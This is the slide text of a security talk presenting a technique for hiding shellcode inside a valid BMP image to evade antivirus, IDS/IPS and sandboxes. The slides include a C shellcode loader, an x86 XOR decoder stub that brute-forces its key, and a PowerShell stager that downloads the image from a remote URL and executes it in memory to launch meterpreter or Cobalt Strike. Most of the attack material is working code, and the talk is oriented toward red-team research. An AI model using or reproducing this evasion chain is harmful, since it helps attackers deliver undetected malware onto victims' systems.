DON’T KILL MY CAT
Charles F. Hamilton
@MrUn1k0d3r
0x01 - Whoami
• Sr Security consultant at Mandiant, a FireEye company
• Founder of the ringzer0team.com online CTF
• Native French Québecois
• Enjoy writing assembly
• Love to bypass stuff
0x02 – What this is about
• Describe a technique to evade antivirus, IDS / IPS and
sandboxes using one single tool
• Does contain assembly code
• Not dropping any 0days
0x03 – A journey into your shellcode
Before your shellcode is executed on the target a lot of
devices will analyze it
0x04 – Evading sandboxes and IDS / IPS
• Most techniques involve using sandbox fingerprinting
and behavior analysis
• Check the current DOMAIN
• Check running processes
• Check memory size
• Check disk size
• Check uptime
• …
• This approach requires you to add specific functions to
your malicious code
0x04 – Evading sandboxes and IDS / IPS
Most sandboxes will only analysis executables, DLLs, Word
documents, Java applets and …
What about other formats, such as images or other
harmless file type?
Most of them just DONT CARE! There is no reasons to
waste CPU cycle to analyze an image right?
0x05 – A journey into the BMP world
Let’s take a look at Bitmap header
0x05 – A journey into the BMP world
A valid BM header starts with something like this
0x4d42deadbeef00000000
| | | |___ reserved, must be zero
| | |________. reserved, must be zero
| |_________________. size of BMP (unreliable)
|______________________. signature (BM)
0x05 – A journey into the BMP world
0x05 – A journey into the BMP world
Polyglot images? Why not!
What about a valid Bitmap image that is also a valid
shellcode
0x05 – A journey into the BMP world
BM is BMP mandatory header signature
0x424d in assembly is:
0: 42 inc edx
1: 4d dec ebp
This is awesome, these instructions will not crash, no memory
referencing instructions
mov eax, DWORD [ecx + 0x13]
Dangerous code that can crash, since there is no way to
confirm that ecx point to initialized data
0x05 – A journey into the BMP world
Time to call the cat home
0x05 – A journey into the BMP world
To me, this cat is just a bunch of bytes
0x05 – A journey into the BMP world
The modified image does have few weird pixels
0x05 – A journey into the BMP world
Let’s reduce the image height by one
Yeah! No more weird pixel
0x05 – A journey into the BMP world
Time to adjust the BMP header to jump to our shellcode
located at 0x0003c650
BM + jmp instruction = 3 bytes
jmp 0x0003c650 – 0x3 = opcode e9 49 c6 03 00
0x05 – A journey into the BMP world
Testing our image
#include <Windows.h>
int main(int argc, char **argv) {
HANDLE hFile = NULL;
CHAR *buffer = NULL;
DWORD dwSize = 0;
DWORD dwReaded = 0;
int(*shellcode)(void);
hFile = CreateFile(argv[1],
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(hFile != INVALID_HANDLE_VALUE) {
dwSize = GetFileSize(hFile, NULL);
buffer = GlobalAlloc(GPTR, dwSize);
printf("Buffer located at %p\n", buffer);
ReadFile(hFile, buffer, dwSize, &dwReaded, NULL);
shellcode = (int(*)())buffer;
shellcode();
}
return 0;
}
0x05 – A journey into the BMP world
Start the executable using Immunity debugger and break on
the EAX call
EAX points to the buffer that contains our image
0x05 – A journey into the BMP world
F7 to jump into the “image shellcode”
0x05 – A journey into the BMP world
Yeah! We just created a polyglot image that is also a valid
shellcode payload :)
0x06 – Obfuscating our payload
Let’s confirm what we have so far
An image that is also a valid shellcode payload. This image
can be transfered over the network and executed as
shellcode on the other side
We beat most of the sandboxes engines at that point,
because they wil not analyze a simple Bitmap image
IDS / IPS and Antivirus may perform static analysis and detect
malicious meterpreter / Cobalt Strike beacon
0x06 – Obfuscating our payload
Next step is pretty obvious: obfuscate our payload
0x06 – Obfuscating our payload
Here is the idea:
Encode your original shellcode using simple logic operations
such as xor
The key will be a 32 bits integer between 0x11111111 – 0xffffffff
The obfuscation will brute force the key to avoid
harcoded value
Make it the smallest as possible
0x06 – Obfuscating our payload
In a nutshell, here is what I came up with: 84 bytes of assembly that
evades pretty much everything
0: eb 44 jmp 46
2: 58 pop eax
3: 68 XX XX XX XX push 0xXXXXXXXX
8: 5e pop esi
9: 31 c9 xor ecx,ecx
b: 89 cb mov ebx,ecx
d: 6a 04 push 0x4
f: 5a pop edx
10: 68 XX XX XX XX push 0xXXXXXXXX
15: 5e pop esi
16: ff 30 push DWORD PTR [eax] <---.
18: 59 pop ecx |
19: 0f c9 bswap ecx |
1b: 43 inc ebx |
1c: 31 d9 xor ecx,ebx |
1e: 81 f9 XX XX XX XX cmp ecx,0xMAGIC |
24: 68 XX XX XX XX push 0xXXXXXXXX |
29: 5f pop edi |
2a: 75 f0 jne 16 <--------------’
2c: 0f cb bswap ebx
2e: b9 02 00 00 00 mov ecx,0x2
33: 01 d0 add eax,edx <-----------.
35: 31 18 xor DWORD PTR [eax],ebx |
37: 68 XX XX XX XX push 0xXXXXXXXX |
3c: 5f pop edi |
3d: e2 f4 loop 33 <----------------’
3f: 2d 04 00 00 00 sub eax,0x4
44: ff e0 jmp eax
46: e8 b7 ff ff ff call 2
0x06 – Obfuscating our payload
Our final obfuscation payload has the following structure:
Lets assume the key is: 0x13371337
Our magic number is: 0x41414141
0x41414141 + original shellcode
⊕ ⊕ ⊕
0x13371337 0x13371337 0x13371337
=
0x52765276 0x4bcdf61a 0x1831daee
0x06 – Obfuscating our payload
a: 43 inc ebx
b: ff 30 push DWORD PTR [eax]
d: 59 pop ecx
e: 0f c9 bswap ecx
10: 31 d9 xor ecx,ebx
12: 81 f9 XX XX XX XX cmp ecx,0xXXXXXXXX
18: 75 f0 jne a
EBX contains the key to be tested
EAX is pointing to the obfuscated data
The 32 bits value contained into EAX is pushed on the stack
The value is then poped into the ECX register
All ECX bytes are swapped
ECX is xored with EBX
The result is compared with the magic number
Loop until ECX matches the magic number
0x06 – Obfuscating our payload
1e: b9 XX XX XX XX mov ecx,0xXXXXXXXX
21: 01 d0 add eax,edx
23: 31 18 xor DWORD PTR [eax],ebx
25: e2 fa loop 21
The ECX register is used as a counter for the LOOP instruction
DWORD = 4 bytes. Number of rounds will be shellcode size / 4
Xor the chunk of 4 bytes obfuscated shellcode with the key stored
in EBX
Loop until everything is deobfuscated
0x06 – Obfuscating our payload
27: 2d XX XX XX XX sub eax,0xXXXXXXXX
2b: ff e0 jmp eax
EAX is now pointing to the end of our shellcode
Substract the shellcode length to point to the beginning
Jump into our deobfuscated shellcode
Execute the final payload (meterpreter / Cobalt Strike beacon)
0x07 – Automating the process
0x07 – Automating the process
0x07 – Automating the process
0x07 – Automating the process
0x07 – Automating the process
0x07 – Automating the process
We successfully generated our malicious
image and spawn a meterpreter
0x07 – The Powershell payload
The last step consists in generating the
Powershell payload that will download
and execute all of this in memory
0x07 – The Powershell payload
No need to come up with super fancy
script, since various projects already
come up with scripts that allow you to
execute shellcode within Powershell
Example:
Cobalt Strike beacon Powershell stager
0x07 – The Powershell payload
In a nutshell, the script relies on
System.Net.WebClient to download the
image
Then use VirtualAlloc and CreateThread to
execute the shellcode
0x07 – The Powershell payload
[Byte[]]$var_code = (New-Object
System.Net.WebClient).DownloadData("http://image.com/cat.bmp")
$var_buffer =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get
_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr],
[UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero,
$var_code.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer,
$var_code.length)
$var_hthread =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get
_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr],
[UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])
([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get
_proc_address kernel32.dll WaitForSingleObject), (func_get_delegate_type
@([IntPtr], [Int32]))).Invoke($var_hthread,0xffffffff) | Out-Null
0x07 – The Powershell payload
0x07 – The Powershell payload
0x07 – The Powershell payload
0x08 – Future project
Obfuscate random DLLs and EXEs
Executables and DLLs can also be polyglot
WORD e_magic (MZ)
WORD e_cblp
WORD e_cp
0: 4d inc edx
1: 5a pop edx
0x08 – Future project
Find a code cave
0x08 – Future project
Add a piece of shellcode that loads all
the binary section in memory, maps the
executable and then launches it
VirtualAlloc PE header ImageBase,
SizeOfImage
VirtualAlloc to allocate sections
Resolve import table using GetProcAddress
Call the entry point
0x08 – Future project
Once the polyglot DLL / exe is generated,
obfuscate the whole file using the same
technique
Add it to the original image, like we did
with the shellcode
0x08 – Use to tool
https://github.com/Mr-Un1k0d3r/DKMC
0x09 – EOF
Thank you
Questions?
Twitter: @MrUn1k0d3r
Website: https://ringzer0team.com